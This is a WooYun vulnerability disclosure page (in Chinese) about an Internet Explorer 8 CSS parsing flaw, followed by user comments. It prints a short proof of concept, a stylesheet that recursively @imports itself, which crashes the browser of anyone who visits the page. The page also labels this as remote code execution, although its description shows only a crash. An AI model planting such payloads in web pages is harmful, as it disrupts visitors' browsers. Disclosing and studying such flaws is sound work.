当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(5) 关注此漏洞

缺陷编号: WooYun-2010-00885

漏洞标题: IE8 CSS解析拒绝服务漏洞

相关厂商: 微软

漏洞作者: 路人甲

提交时间: 2010-11-29 14:51

公开时间: 2010-11-29 14:54

漏洞类型: 远程代码执行

危害等级: 低

自评Rank: 5

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org

Tags标签: 缓冲区溢出 远程代码执行 IE浏览器漏洞利用技巧 浏览器漏洞挖掘

0人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2010-11-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2010-11-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

IE8中对css的解析存在一个问题,导致任何访问包含非法css的页面将导致IE8崩溃重启

详细说明:

code 区域
<div style="position: absolute; top: -999px;left: -999px;">

<link href="css.css" rel="stylesheet" type="text/css" />





code 区域
*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:20 (WooYun评价)


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评论

  1. 2010-11-29 16:12 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 你在乌云这么屌,你家人知道么? >_<)
    0

    测试IE6也受到影响

  2. 2010-12-10 10:20 | xsser 认证白帽子 ( 核心白帽子 | Rank:249 漏洞数:17 | 顺流而下,把梦做完|最近小忙,有问题可以...)
    1

    http://www.vupen.com/english/advisories/2010/3156 2B了~~~

  3. 2012-04-18 09:16 | %50 ( 路人 | Rank:15 漏洞数:1 | aaa)
    1

    又拒绝啦

  4. 2013-01-15 19:13 | 姿势不行 ( 路人 | Rank:22 漏洞数:7 | http://www.qinqinyo.com/)
    0

    @%50 哇,能注册这种ID??

  5. 2013-01-25 17:18 | 素馅包子 ( 路人 | Rank:0 漏洞数:1 | 爱编程,爱黑客,爱生活,爱装逼,爱显摆)
    1

    这不是死循环了?

登录后才能发表评论,请先 登录